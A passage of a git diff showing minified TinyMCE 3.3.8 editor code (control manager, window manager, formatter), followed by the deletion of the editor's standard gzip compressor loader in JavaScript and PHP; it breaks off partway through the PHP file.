p=q.settings;p.title=i.getLang(p.title,p.title);if(!p.onclick){p.onclick=function(o){if(p.cmd){i.execCommand(p.cmd,p.ui||false,p.value)}}}});i.onRemove.add(function(){j.destroy()});if(c.isIE){j.onShowMenu.add(function(){i.focus();g=i.selection.getBookmark(1)});j.onHideMenu.add(function(){if(g){i.selection.moveToBookmark(g);g=0}})}return m.add(j)},createListBox:function(m,i,l){var h=this,g=h.editor,j,k,f;if(h.get(m)){return null}i.title=g.translate(i.title);i.scope=i.scope||g;if(!i.onselect){i.onselect=function(n){g.execCommand(i.cmd,i.ui||false,n||i.value)}}i=e({title:i.title,"class":"mce_"+m,scope:i.scope,control_manager:h},i);m=h.prefix+m;if(g.settings.use_native_selects){k=new c.ui.NativeListBox(m,i)}else{f=l||h._cls.listbox||c.ui.ListBox;k=new f(m,i)}h.controls[m]=k;if(c.isWebKit){k.onPostRender.add(function(p,o){a.add(o,"mousedown",function(){g.bookmark=g.selection.getBookmark(1)});a.add(o,"focus",function(){g.selection.moveToBookmark(g.bookmark);g.bookmark=null})})}if(k.hideMenu){g.onMouseDown.add(k.hideMenu,k)}return h.add(k)},createButton:function(m,i,l){var h=this,g=h.editor,j,k,f;if(h.get(m)){return null}i.title=g.translate(i.title);i.label=g.translate(i.label);i.scope=i.scope||g;if(!i.onclick&&!i.menu_button){i.onclick=function(){g.execCommand(i.cmd,i.ui||false,i.value)}}i=e({title:i.title,"class":"mce_"+m,unavailable_prefix:g.getLang("unavailable",""),scope:i.scope,control_manager:h},i);m=h.prefix+m;if(i.menu_button){f=l||h._cls.menubutton||c.ui.MenuButton;k=new f(m,i);g.onMouseDown.add(k.hideMenu,k)}else{f=h._cls.button||c.ui.Button;k=new f(m,i)}return h.add(k)},createMenuButton:function(h,f,g){f=f||{};f.menu_button=1;return this.createButton(h,f,g)},createSplitButton:function(m,i,l){var h=this,g=h.editor,j,k,f;if(h.get(m)){return null}i.title=g.translate(i.title);i.scope=i.scope||g;if(!i.onclick){i.onclick=function(n){g.execCommand(i.cmd,i.ui||false,n||i.value)}}if(!i.onselect){i.onselect=function(n){g.execCommand(i.cmd,i.ui||false,n||i.value)}}i=e({title:i.title,"class":"mce_"+m,scope:i.scope,control_manager:h},i);m=h.prefix+m;f=l||h._cls.splitbutton||c.ui.SplitButton;k=h.add(new f(m,i));g.onMouseDown.add(k.hideMenu,k);return k},createColorSplitButton:function(f,n,h){var l=this,j=l.editor,i,k,m,g;if(l.get(f)){return null}n.title=j.translate(n.title);n.scope=n.scope||j;if(!n.onclick){n.onclick=function(o){if(c.isIE){g=j.selection.getBookmark(1)}j.execCommand(n.cmd,n.ui||false,o||n.value)}}if(!n.onselect){n.onselect=function(o){j.execCommand(n.cmd,n.ui||false,o||n.value)}}n=e({title:n.title,"class":"mce_"+f,menu_class:j.getParam("skin")+"Skin",scope:n.scope,more_colors_title:j.getLang("more_colors")},n);f=l.prefix+f;m=h||l._cls.colorsplitbutton||c.ui.ColorSplitButton;k=new m(f,n);j.onMouseDown.add(k.hideMenu,k);j.onRemove.add(function(){k.destroy()});if(c.isIE){k.onShowMenu.add(function(){j.focus();g=j.selection.getBookmark(1)});k.onHideMenu.add(function(){if(g){j.selection.moveToBookmark(g);g=0}})}return l.add(k)},createToolbar:function(k,h,j){var i,g=this,f;k=g.prefix+k;f=j||g._cls.toolbar||c.ui.Toolbar;i=new f(k,h);if(g.get(k)){return null}return g.add(i)},createSeparator:function(g){var f=g||this._cls.separator||c.ui.Separator;return new f()},setControlType:function(g,f){return this._cls[g.toLowerCase()]=f},destroy:function(){d(this.controls,function(f){f.destroy()});this.controls=null}})})(tinymce);(function(d){var a=d.util.Dispatcher,e=d.each,c=d.isIE,b=d.isOpera;d.create("tinymce.WindowManager",{WindowManager:function(f){var g=this;g.editor=f;g.onOpen=new a(g);g.onClose=new a(g);g.params={};g.features={}},open:function(z,h){var v=this,k="",n,m,i=v.editor.settings.dialog_type=="modal",q,o,j,g=d.DOM.getViewPort(),r;z=z||{};h=h||{};o=b?g.w:screen.width;j=b?g.h:screen.height;z.name=z.name||"mc_"+new Date().getTime();z.width=parseInt(z.width||320);z.height=parseInt(z.height||240);z.resizable=true;z.left=z.left||parseInt(o/2)-(z.width/2);z.top=z.top||parseInt(j/2)-(z.height/2);h.inline=false;h.mce_width=z.width;h.mce_height=z.height;h.mce_auto_focus=z.auto_focus;if(i){if(c){z.center=true;z.help=false;z.dialogWidth=z.width+"px";z.dialogHeight=z.height+"px";z.scroll=z.scrollbars||false}}e(z,function(p,f){if(d.is(p,"boolean")){p=p?"yes":"no"}if(!/^(name|url)$/.test(f)){if(c&&i){k+=(k?";":"")+f+":"+p}else{k+=(k?",":"")+f+"="+p}}});v.features=z;v.params=h;v.onOpen.dispatch(v,z,h);r=z.url||z.file;r=d._addVer(r);try{if(c&&i){q=1;window.showModalDialog(r,window,k)}else{q=window.open(r,z.name,k)}}catch(l){}if(!q){alert(v.editor.getLang("popup_blocked"))}},close:function(f){f.close();this.onClose.dispatch(this)},createInstance:function(i,h,g,m,l,k){var j=d.resolve(i);return new j(h,g,m,l,k)},confirm:function(h,f,i,g){g=g||window;f.call(i||this,g.confirm(this._decode(this.editor.getLang(h,h))))},alert:function(h,f,j,g){var i=this;g=g||window;g.alert(i._decode(i.editor.getLang(h,h)));if(f){f.call(j||i)}},resizeBy:function(f,g,h){h.resizeBy(f,g)},_decode:function(f){return d.DOM.decode(f).replace(/\\n/g,"\n")}})}(tinymce));(function(a){function b(){var d={},c={},e={};function f(j,i,h,g){if(typeof(i)=="string"){i=[i]}a.each(i,function(k){j[k.toLowerCase()]={func:h,scope:g}})}a.extend(this,{add:function(i,h,g){f(d,i,h,g)},addQueryStateHandler:function(i,h,g){f(c,i,h,g)},addQueryValueHandler:function(i,h,g){f(e,i,h,g)},execCommand:function(h,k,j,i,g){if(k=d[k.toLowerCase()]){if(k.func.call(h||k.scope,j,i,g)!==false){return true}}},queryCommandValue:function(){if(cmd=e[cmd.toLowerCase()]){return cmd.func.call(scope||cmd.scope,ui,value,args)}},queryCommandState:function(){if(cmd=c[cmd.toLowerCase()]){return cmd.func.call(scope||cmd.scope,ui,value,args)}}})}a.GlobalCommands=new b()})(tinymce);(function(a){a.Formatter=function(T){var K={},M=a.each,c=T.dom,p=T.selection,s=a.dom.TreeWalker,I=new a.dom.RangeUtils(c),d=T.schema.isValid,E=c.isBlock,k=T.settings.forced_root_block,r=c.nodeIndex,D="\uFEFF",e=/^(src|href|style)$/,Q=false,A=true,o,N={apply:[],remove:[]};function y(U){return U instanceof Array}function l(V,U){return c.getParents(V,U,c.getRoot())}function b(U){return U.nodeType===1&&(U.face==="mceinline"||U.style.fontFamily==="mceinline")}function P(U){return U?K[U]:K}function j(U,V){if(U){if(typeof(U)!=="string"){M(U,function(X,W){j(W,X)})}else{V=V.length?V:[V];M(V,function(W){if(W.deep===o){W.deep=!W.selector}if(W.split===o){W.split=!W.selector||W.inline}if(W.remove===o&&W.selector&&!W.inline){W.remove="none"}if(W.selector&&W.inline){W.mixed=true;W.block_expand=true}if(typeof(W.classes)==="string"){W.classes=W.classes.split(/\s+/)}});K[U]=V}}}function R(W,ac,Y){var Z=P(W),ad=Z[0],ab,V,aa;function X(ag){var af=ag.startContainer,aj=ag.startOffset,ai,ah;if(af.nodeType==1||af.nodeValue===""){af=af.nodeType==1?af.childNodes[aj]:af;if(af){ai=new s(af,af.parentNode);for(ah=ai.current();ah;ah=ai.next()){if(ah.nodeType==3&&!f(ah)){ag.setStart(ah,0);break}}}}return ag}function U(ag,af){af=af||ad;if(ag){M(af.styles,function(ai,ah){c.setStyle(ag,ah,q(ai,ac))});M(af.attributes,function(ai,ah){c.setAttrib(ag,ah,q(ai,ac))});M(af.classes,function(ah){ah=q(ah,ac);if(!c.hasClass(ag,ah)){c.addClass(ag,ah)}})}}function ae(ag){var af=[],ai,ah;ai=ad.inline||ad.block;ah=c.create(ai);U(ah);I.walk(ag,function(aj){var ak;function al(am){var ap=am.nodeName.toLowerCase(),ao=am.parentNode.nodeName.toLowerCase(),an;if(g(ap,"br")){ak=0;if(ad.block){c.remove(am)}return}if(ad.wrapper&&v(am,W,ac)){ak=0;return}if(ad.block&&!ad.wrapper&&F(ap)){am=c.rename(am,ai);U(am);af.push(am);ak=0;return}if(ad.selector){M(Z,function(aq){if(c.is(am,aq.selector)&&!b(am)){U(am,aq);an=true}});if(!ad.inline||an){ak=0;return}}if(d(ai,ap)&&d(ao,ai)){if(!ak){ak=ah.cloneNode(Q);am.parentNode.insertBefore(ak,am);af.push(ak)}ak.appendChild(am)}else{ak=0;M(a.grep(am.childNodes),al);ak=0}}M(aj,al)});M(af,function(al){var aj;function am(ao){var an=0;M(ao.childNodes,function(ap){if(!f(ap)&&!G(ap)){an++}});return an}function ak(an){var ap,ao;M(an.childNodes,function(aq){if(aq.nodeType==1&&!G(aq)&&!b(aq)){ap=aq;return Q}});if(ap&&h(ap,ad)){ao=ap.cloneNode(Q);U(ao);c.replace(ao,an,A);c.remove(ap,1)}return ao||an}aj=am(al);if(aj===0){c.remove(al,1);return}if(ad.inline||ad.wrapper){if(!ad.exact&&aj===1){al=ak(al)}M(Z,function(an){M(c.select(an.inline,al),function(ao){S(an,ac,ao,an.exact?ao:null)})});if(v(al.parentNode,W,ac)){c.remove(al,1);al=0;return A}if(ad.merge_with_parents){c.getParent(al.parentNode,function(an){if(v(an,W,ac)){c.remove(al,1);al=0;return A}})}if(al){al=t(B(al),al);al=t(al,B(al,A))}}})}if(ad){if(Y){V=c.createRng();V.setStartBefore(Y);V.setEndAfter(Y);ae(n(V,Z))}else{if(!p.isCollapsed()||!ad.inline){ab=p.getBookmark();ae(n(p.getRng(A),Z));p.moveToBookmark(ab);p.setRng(X(p.getRng(A)));T.nodeChanged()}else{O("apply",W,ac)}}}}function z(W,af,Z){var aa=P(W),ah=aa[0],ae,ad,V;function Y(ak){var aj=ak.startContainer,ap=ak.startOffset,ao,an,al,am;if(aj.nodeType==3&&ap>=aj.nodeValue.length-1){aj=aj.parentNode;ap=r(aj)+1}if(aj.nodeType==1){al=aj.childNodes;aj=al[Math.min(ap,al.length-1)];ao=new s(aj);if(ap>al.length-1){ao.next()}for(an=ao.current();an;an=ao.next()){if(an.nodeType==3&&!f(an)){am=c.create("a",null,D);an.parentNode.insertBefore(am,an);ak.setStart(an,0);p.setRng(ak);c.remove(am);return}}}}function X(am){var al,ak,aj;al=a.grep(am.childNodes);for(ak=0,aj=aa.length;ak<aj;ak++){if(S(aa[ak],af,am,am)){break}}if(ah.deep){for(ak=0,aj=al.length;ak<aj;ak++){X(al[ak])}}}function ab(aj){var ak;M(l(aj.parentNode).reverse(),function(al){var am;if(!ak&&al.id!="_start"&&al.id!="_end"){am=v(al,W,af);if(am&&am.split!==false){ak=al}}});return ak}function U(am,aj,ao,ar){var at,aq,ap,al,an,ak;if(am){ak=am.parentNode;for(at=aj.parentNode;at&&at!=ak;at=at.parentNode){aq=at.cloneNode(Q);for(an=0;an<aa.length;an++){if(S(aa[an],af,aq,aq)){aq=0;break}}if(aq){if(ap){aq.appendChild(ap)}if(!al){al=aq}ap=aq}}if(ar&&(!ah.mixed||!E(am))){aj=c.split(am,aj)}if(ap){ao.parentNode.insertBefore(ap,ao);al.appendChild(ao)}}return aj}function ag(aj){return U(ab(aj),aj,aj,true)}function ac(al){var ak=c.get(al?"_start":"_end"),aj=ak[al?"firstChild":"lastChild"];if(G(aj)){aj=aj[al?"firstChild":"lastChild"]}c.remove(ak,true);return aj}function ai(aj){var ak,al;aj=n(aj,aa,A);if(ah.split){ak=H(aj,A);al=H(aj);if(ak!=al){ak=L(ak,"span",{id:"_start",_mce_type:"bookmark"});al=L(al,"span",{id:"_end",_mce_type:"bookmark"});ag(ak);ag(al);ak=ac(A);al=ac()}else{ak=al=ag(ak)}aj.startContainer=ak.parentNode;aj.startOffset=r(ak);aj.endContainer=al.parentNode;aj.endOffset=r(al)+1}I.walk(aj,function(am){M(am,function(an){X(an)})})}if(Z){V=c.createRng();V.setStartBefore(Z);V.setEndAfter(Z);ai(V);return}if(!p.isCollapsed()||!ah.inline){ae=p.getBookmark();ai(p.getRng(A));p.moveToBookmark(ae);if(i(W,af,p.getStart())){Y(p.getRng(true))}T.nodeChanged()}else{O("remove",W,af)}}function C(U,W,V){if(i(U,W,V)){z(U,W,V)}else{R(U,W,V)}}function v(V,U,aa,Y){var W=P(U),ab,Z,X;function ac(ag,ai,aj){var af,ah,ad=ai[aj],ae;if(ad){if(ad.length===o){for(af in ad){if(ad.hasOwnProperty(af)){if(aj==="attributes"){ah=c.getAttrib(ag,af)}else{ah=J(ag,af)}if(Y&&!ah&&!ai.exact){return}if((!Y||ai.exact)&&!g(ah,q(ad[af],aa))){return}}}}else{for(ae=0;ae<ad.length;ae++){if(aj==="attributes"?c.getAttrib(ag,ad[ae]):J(ag,ad[ae])){return ai}}}}return ai}if(W&&V){for(Z=0;Z<W.length;Z++){ab=W[Z];if(h(V,ab)&&ac(V,ab,"attributes")&&ac(V,ab,"styles")){if(X=ab.classes){for(Z=0;Z<X.length;Z++){if(!c.hasClass(V,X[Z])){return}}}return ab}}}}function i(W,Z,Y){var V,X;function U(aa){aa=c.getParent(aa,function(ab){return !!v(ab,W,Z,true)});return v(aa,W,Z)}if(Y){return U(Y)}if(p.isCollapsed()){for(X=N.apply.length-1;X>=0;X--){if(N.apply[X].name==W){return true}}for(X=N.remove.length-1;X>=0;X--){if(N.remove[X].name==W){return false}}return U(p.getNode())}Y=p.getNode();if(U(Y)){return A}V=p.getStart();if(V!=Y){if(U(V)){return A}}return Q}function u(ab,aa){var Y,Z=[],X={},W,V,U;if(p.isCollapsed()){for(V=0;V<ab.length;V++){for(W=N.remove.length-1;W>=0;W--){U=ab[V];if(N.remove[W].name==U){X[U]=true;break}}}for(W=N.apply.length-1;W>=0;W--){for(V=0;V<ab.length;V++){U=ab[V];if(!X[U]&&N.apply[W].name==U){X[U]=true;Z.push(U)}}}}Y=p.getStart();c.getParent(Y,function(ae){var ad,ac;for(ad=0;ad<ab.length;ad++){ac=ab[ad];if(!X[ac]&&v(ae,ac,aa)){X[ac]=true;Z.push(ac)}}});return Z}function x(Y){var aa=P(Y),X,W,Z,V,U;if(aa){X=p.getStart();W=l(X);for(V=aa.length-1;V>=0;V--){U=aa[V].selector;if(!U){return A}for(Z=W.length-1;Z>=0;Z--){if(c.is(W[Z],U)){return A}}}}return Q}a.extend(this,{get:P,register:j,apply:R,remove:z,toggle:C,match:i,matchAll:u,matchNode:v,canApply:x});function h(U,V){if(g(U,V.inline)){return A}if(g(U,V.block)){return A}if(V.selector){return c.is(U,V.selector)}}function g(V,U){V=V||"";U=U||"";V=""+(V.nodeName||V);U=""+(U.nodeName||U);return V.toLowerCase()==U.toLowerCase()}function J(V,U){var W=c.getStyle(V,U);if(U=="color"||U=="backgroundColor"){W=c.toHex(W)}if(U=="fontWeight"&&W==700){W="bold"}return""+W}function q(U,V){if(typeof(U)!="string"){U=U(V)}else{if(V){U=U.replace(/%(\w+)/g,function(X,W){return V[W]||X})}}return U}function f(U){return U&&U.nodeType===3&&/^([\s\r\n]+|)$/.test(U.nodeValue)}function L(W,V,U){var X=c.create(V,U);W.parentNode.insertBefore(X,W);X.appendChild(W);return X}function n(U,ac,X){var W=U.startContainer,Z=U.startOffset,af=U.endContainer,aa=U.endOffset,ae,ab;function ad(ai,aj,ag,ah){var ak,al;ah=ah||c.getRoot();for(;;){ak=ai.parentNode;if(ak==ah||(!ac[0].block_expand&&E(ak))){return ai}for(ae=ak[aj];ae&&ae!=ai;ae=ae[ag]){if(ae.nodeType==1&&!G(ae)){return ai}if(ae.nodeType==3&&!f(ae)){return ai}}ai=ai.parentNode}return ai}if(W.nodeType==1&&W.hasChildNodes()){ab=W.childNodes.length-1;W=W.childNodes[Z>ab?ab:Z];if(W.nodeType==3){Z=0}}if(af.nodeType==1&&af.hasChildNodes()){ab=af.childNodes.length-1;af=af.childNodes[aa>ab?ab:aa-1];if(af.nodeType==3){aa=af.nodeValue.length}}if(G(W.parentNode)){W=W.parentNode}if(G(W)){W=W.nextSibling||W}if(G(af.parentNode)){af=af.parentNode}if(G(af)){af=af.previousSibling||af}if(ac[0].inline||ac[0].block_expand){W=ad(W,"firstChild","nextSibling");af=ad(af,"lastChild","previousSibling")}if(ac[0].selector&&ac[0].expand!==Q&&!ac[0].inline){function Y(ah,ag){var ai,aj,ak;if(ah.nodeType==3&&ah.nodeValue.length==0&&ah[ag]){ah=ah[ag]}ai=l(ah);for(aj=0;aj<ai.length;aj++){for(ak=0;ak<ac.length;ak++){if(c.is(ai[aj],ac[ak].selector)){return ai[aj]}}}return ah}W=Y(W,"previousSibling");af=Y(af,"nextSibling")}if(ac[0].block||ac[0].selector){function V(ah,ag,aj){var ai;if(!ac[0].wrapper){ai=c.getParent(ah,ac[0].block)}if(!ai){ai=c.getParent(ah.nodeType==3?ah.parentNode:ah,E)}if(ai&&ac[0].wrapper){ai=l(ai,"ul,ol").reverse()[0]||ai}if(!ai){ai=ah;while(ai[ag]&&!E(ai[ag])){ai=ai[ag];if(g(ai,"br")){break}}}return ai||ah}W=V(W,"previousSibling");af=V(af,"nextSibling");if(ac[0].block){if(!E(W)){W=ad(W,"firstChild","nextSibling")}if(!E(af)){af=ad(af,"lastChild","previousSibling")}}}if(W.nodeType==1){Z=r(W);W=W.parentNode}if(af.nodeType==1){aa=r(af)+1;af=af.parentNode}return{startContainer:W,startOffset:Z,endContainer:af,endOffset:aa}}function S(aa,Z,X,U){var W,V,Y;if(!h(X,aa)){return Q}if(aa.remove!="all"){M(aa.styles,function(ac,ab){ac=q(ac,Z);if(typeof(ab)==="number"){ab=ac;U=0}if(!U||g(J(U,ab),ac)){c.setStyle(X,ab,"")}Y=1});if(Y&&c.getAttrib(X,"style")==""){X.removeAttribute("style");X.removeAttribute("_mce_style")}M(aa.attributes,function(ad,ab){var ac;ad=q(ad,Z);if(typeof(ab)==="number"){ab=ad;U=0}if(!U||g(c.getAttrib(U,ab),ad)){if(ab=="class"){ad=c.getAttrib(X,ab);if(ad){ac="";M(ad.split(/\s+/),function(ae){if(/mce\w+/.test(ae)){ac+=(ac?" ":"")+ae}});if(ac){c.setAttrib(X,ab,ac);return}}}if(ab=="class"){X.removeAttribute("className")}if(e.test(ab)){X.removeAttribute("_mce_"+ab)}X.removeAttribute(ab)}});M(aa.classes,function(ab){ab=q(ab,Z);if(!U||c.hasClass(U,ab)){c.removeClass(X,ab)}});V=c.getAttribs(X);for(W=0;W<V.length;W++){if(V[W].nodeName.indexOf("_")!==0){return Q}}}if(aa.remove!="none"){m(X,aa);return A}}function m(W,X){var U=W.parentNode,V;if(X.block){if(!k){function Y(aa,Z,ab){aa=B(aa,Z,ab);return !aa||(aa.nodeName=="BR"||E(aa))}if(E(W)&&!E(U)){if(!Y(W,Q)&&!Y(W.firstChild,A,1)){W.insertBefore(c.create("br"),W.firstChild)}if(!Y(W,A)&&!Y(W.lastChild,Q,1)){W.appendChild(c.create("br"))}}}else{if(U==c.getRoot()){if(!X.list_block||!g(W,X.list_block)){M(a.grep(W.childNodes),function(Z){if(d(k,Z.nodeName.toLowerCase())){if(!V){V=L(Z,k)}else{V.appendChild(Z)}}else{V=0}})}}}}if(X.selector&&X.inline&&!g(X.inline,W)){return}c.remove(W,1)}function B(V,U,W){if(V){U=U?"nextSibling":"previousSibling";for(V=W?V:V[U];V;V=V[U]){if(V.nodeType==1||!f(V)){return V}}}}function G(U){return U&&U.nodeType==1&&U.getAttribute("_mce_type")=="bookmark"}function t(Y,X){var U,W,V;function aa(ad,ac){if(ad.nodeName!=ac.nodeName){return Q}function ab(af){var ag={};M(c.getAttribs(af),function(ah){var ai=ah.nodeName.toLowerCase();if(ai.indexOf("_")!==0&&ai!=="style"){ag[ai]=c.getAttrib(af,ai)}});return ag}function ae(ai,ah){var ag,af;for(af in ai){if(ai.hasOwnProperty(af)){ag=ah[af];if(ag===o){return Q}if(ai[af]!=ag){return Q}delete ah[af]}}for(af in ah){if(ah.hasOwnProperty(af)){return Q}}return A}if(!ae(ab(ad),ab(ac))){return Q}if(!ae(c.parseStyle(c.getAttrib(ad,"style")),c.parseStyle(c.getAttrib(ac,"style")))){return Q}return A}if(Y&&X){function Z(ac,ab){for(W=ac;W;W=W[ab]){if(W.nodeType==3&&!f(W)){return ac}if(W.nodeType==1&&!G(W)){return W}}return ac}Y=Z(Y,"previousSibling");X=Z(X,"nextSibling");if(aa(Y,X)){for(W=Y.nextSibling;W&&W!=X;){V=W;W=W.nextSibling;Y.appendChild(V)}c.remove(X);M(a.grep(X.childNodes),function(ab){Y.appendChild(ab)});return Y}}return X}function F(U){return/^(h[1-6]|p|div|pre|address|dl|dt|dd)$/.test(U)}function H(V,Y){var U,X,W;U=V[Y?"startContainer":"endContainer"];X=V[Y?"startOffset":"endOffset"];if(U.nodeType==1){W=U.childNodes.length-1;if(!Y&&X){X--}U=U.childNodes[X>W?W:X]}return U}function O(Z,V,Y){var W,U=N[Z],aa=N[Z=="apply"?"remove":"apply"];function ab(){return N.apply.length||N.remove.length}function X(){N.apply=[];N.remove=[]}function ac(ad){M(N.apply.reverse(),function(ae){R(ae.name,ae.vars,ad)});M(N.remove.reverse(),function(ae){z(ae.name,ae.vars,ad)});c.remove(ad,1);X()}for(W=U.length-1;W>=0;W--){if(U[W].name==V){return}}U.push({name:V,vars:Y});for(W=aa.length-1;W>=0;W--){if(aa[W].name==V){aa.splice(W,1)}}if(ab()){T.getDoc().execCommand("FontName",false,"mceinline");N.lastRng=p.getRng();M(c.select("font,span"),function(ae){var ad;if(b(ae)){ad=p.getBookmark();ac(ae);p.moveToBookmark(ad);T.nodeChanged()}});if(!N.isListening&&ab()){N.isListening=true;M("onKeyDown,onKeyUp,onKeyPress,onMouseUp".split(","),function(ad){T[ad].addToTop(function(ae,af){if(ab()&&!a.dom.RangeUtils.compareRanges(N.lastRng,p.getRng())){M(c.select("font,span"),function(ah){var ai,ag;if(b(ah)){ai=ah.firstChild;if(ai){ac(ah);ag=c.createRng();ag.setStart(ai,ai.nodeValue.length);ag.setEnd(ai,ai.nodeValue.length);p.setRng(ag);ae.nodeChanged()}else{c.remove(ah)}}});if(af.type=="keyup"||af.type=="mouseup"){X()}}})})}}}}})(tinymce);tinymce.onAddEditor.add(function(e,a){var d,h,g,c=a.settings;if(c.inline_styles){h=e.explode(c.font_size_style_values);function b(j,i){g.replace(g.create("span",{style:i}),j,1)}d={font:function(j,i){b(i,{backgroundColor:i.style.backgroundColor,color:i.color,fontFamily:i.face,fontSize:h[parseInt(i.size)-1]})},u:function(j,i){b(i,{textDecoration:"underline"})},strike:function(j,i){b(i,{textDecoration:"line-through"})}};function f(i,j){g=i.dom;if(c.convert_fonts_to_spans){e.each(g.select("font,u,strike",j.node),function(k){d[k.nodeName.toLowerCase()](a.dom,k)})}}a.onPreProcess.add(f);a.onInit.add(function(){a.selection.onSetContent.add(f)})}}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_gzip.js b/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_gzip.js deleted file mode 100644 index 4dd14d8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_gzip.js +++ /dev/null @@ -1,134 +0,0 @@ -var tinyMCE_GZ = { - settings : { - themes : '', - plugins : '', - languages : '', - disk_cache : true, - page_name : 'tiny_mce_gzip.php', - debug : false, - suffix : '' - }, - - init : function(s, cb, sc) { - var t = this, n, i, nl = document.getElementsByTagName('script'); - - for (n in s) - t.settings[n] = s[n]; - - s = t.settings; - - for (i=0; i<nl.length; i++) { - n = nl[i]; - - if (n.src && n.src.indexOf('tiny_mce') != -1) - t.baseURL = n.src.substring(0, n.src.lastIndexOf('/')); - } - - if (!t.coreLoaded) - t.loadScripts(1, s.themes, s.plugins, s.languages, cb, sc); - }, - - loadScripts : function(co, th, pl, la, cb, sc) { - var t = this, x, w = window, q, c = 0, ti, s = t.settings; - - function get(s) { - x = 0; - - try { - x = new ActiveXObject(s); - } catch (s) { - } - - return x; - }; - - // Build query string - q = 'js=true&diskcache=' + (s.disk_cache ? 'true' : 'false') + '&core=' + (co ? 'true' : 'false') + '&suffix=' + escape(s.suffix) + '&themes=' + escape(th) + '&plugins=' + escape(pl) + '&languages=' + escape(la); - - if (co) - t.coreLoaded = 1; - - // Send request - x = w.XMLHttpRequest ? new XMLHttpRequest() : get('Msxml2.XMLHTTP') || get('Microsoft.XMLHTTP'); - x.overrideMimeType && x.overrideMimeType('text/javascript'); - x.open('GET', t.baseURL + '/' + s.page_name + '?' + q, !!cb); -// x.setRequestHeader('Content-Type', 'text/javascript'); - x.send(''); - - // Handle asyncronous loading - if (cb) { - // Wait for response - ti = w.setInterval(function() { - if (x.readyState == 4 || c++ > 10000) { - w.clearInterval(ti); - - if (c < 10000 && x.status == 200) { - t.loaded = 1; - t.eval(x.responseText); - tinymce.dom.Event.domLoaded = true; - cb.call(sc || t, x); - } - - ti = x = null; - } - }, 10); - } else - t.eval(x.responseText); - }, - - start : function() { - var t = this, each = tinymce.each, s = t.settings, ln = s.languages.split(','); - - tinymce.suffix = s.suffix; - - function load(u) { - tinymce.ScriptLoader.markDone(tinyMCE.baseURI.toAbsolute(u)); - }; - - // Add core languages - each(ln, function(c) { - if (c) - load('langs/' + c + '.js'); - }); - - // Add themes with languages - each(s.themes.split(','), function(n) { - if (n) { - load('themes/' + n + '/editor_template' + s.suffix + '.js'); - - each (ln, function(c) { - if (c) - load('themes/' + n + '/langs/' + c + '.js'); - }); - } - }); - - // Add plugins with languages - each(s.plugins.split(','), function(n) { - if (n) { - load('plugins/' + n + '/editor_plugin' + s.suffix + '.js'); - - each(ln, function(c) { - if (c) - load('plugins/' + n + '/langs/' + c + '.js'); - }); - } - }); - }, - - end : function() { - }, - - eval : function(co) { - var w = window; - - // Evaluate script - if (!w.execScript) { - if (/Gecko/.test(navigator.userAgent)) - eval(co, w); // Firefox 3.0 - else - eval.call(w, co); - } else - w.execScript(co); // IE - } -}; diff --git a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_gzip.php b/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_gzip.php deleted file mode 100644 index ec5a9bb..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/tiny_mce_gzip.php +++ /dev/null @@ -1,183 +0,0 @@ -<?php -/** - * $Id: tiny_mce_gzip.php 315 2007-10-25 14:03:43Z spocke $ - * - * @author Moxiecode - * @copyright Copyright © 2005-2006, Moxiecode Systems AB, All rights reserved. - * - * This file compresses the TinyMCE JavaScript using GZip and - * enables the browser to do two requests instead of one for each .js file. - * Notice: This script defaults the button_tile_map option to true for extra performance. - */ - - // Set the error reporting to minimal. - @error_reporting(E_ERROR | E_WARNING | E_PARSE); - - // Get input - $plugins = explode(',', getParam("plugins", "")); - $languages = explode(',', getParam("languages", "")); - $themes = explode(',', getParam("themes", "")); - $diskCache = getParam("diskcache", "") == "true"; - $isJS = getParam("js", "") == "true"; - $compress = getParam("compress", "true") == "true"; - $core = getParam("core", "true") == "true"; - $suffix = getParam("suffix", "_src") == "_src" ? "_src" : ""; - $cachePath = realpath("."); // Cache path, this is where the .gz files will be stored - $expiresOffset = 3600 * 24 * 10; // Cache for 10 days in browser cache - $content = ""; - $encodings = array(); - $supportsGzip = false; - $enc = ""; - $cacheKey = ""; - - // Custom extra javascripts to pack - $custom = array(/* - "some custom .js file", - "some custom .js file" - */); - - // Headers - header("Content-type: text/javascript"); - header("Vary: Accept-Encoding"); // Handle proxies - header("Expires: " . gmdate("D, d M Y H:i:s", time() + $expiresOffset) . " GMT"); - - // Is called directly then auto init with default settings - if (!$isJS) { - echo getFileContents("tiny_mce_gzip.js"); - echo "tinyMCE_GZ.init({});"; - die(); - } - - // Setup cache info - if ($diskCache) { - if (!$cachePath) - die("alert('Real path failed.');"); - - $cacheKey = getParam("plugins", "") . getParam("languages", "") . getParam("themes", "") . $suffix; - - foreach ($custom as $file) - $cacheKey .= $file; - - $cacheKey = md5($cacheKey); - - if ($compress) - $cacheFile = $cachePath . "/tiny_mce_" . $cacheKey . ".gz"; - else - $cacheFile = $cachePath . "/tiny_mce_" . $cacheKey . ".js"; - } - - // Check if it supports gzip - if (isset($_SERVER['HTTP_ACCEPT_ENCODING'])) - $encodings = explode(',', strtolower(preg_replace("/\s+/", "", $_SERVER['HTTP_ACCEPT_ENCODING']))); - - if ((in_array('gzip', $encodings) || in_array('x-gzip', $encodings) || isset($_SERVER['---------------'])) && function_exists('ob_gzhandler') && !ini_get('zlib.output_compression')) { - $enc = in_array('x-gzip', $encodings) ? "x-gzip" : "gzip"; - $supportsGzip = true; - } - - // Use cached file disk cache - if ($diskCache && $supportsGzip && file_exists($cacheFile)) { - if ($compress) - header("Content-Encoding: " . $enc); - - echo getFileContents($cacheFile); - die(); - } - - // Add core - if ($core == "true") { - $content .= getFileContents("tiny_mce" . $suffix . ".js"); - - // Patch loading functions - $content .= "tinyMCE_GZ.start();"; - } - - // Add core languages - foreach ($languages as $lang) - $content .= getFileContents("langs/" . $lang . ".js"); - - // Add themes - foreach ($themes as $theme) { - $content .= getFileContents( "themes/" . $theme . "/editor_template" . $suffix . ".js"); - - foreach ($languages as $lang) - $content .= getFileContents("themes/" . $theme . "/langs/" . $lang . ".js"); - } - - // Add plugins - foreach ($plugins as $plugin) { - $content .= getFileContents("plugins/" . $plugin . "/editor_plugin" . $suffix . ".js"); - - foreach ($languages as $lang) - $content .= getFileContents("plugins/" . $plugin . "/langs/" . $lang . ".js"); - } - - // Add custom files - foreach ($custom as $file) - $content .= getFileContents($file); - - // Restore loading 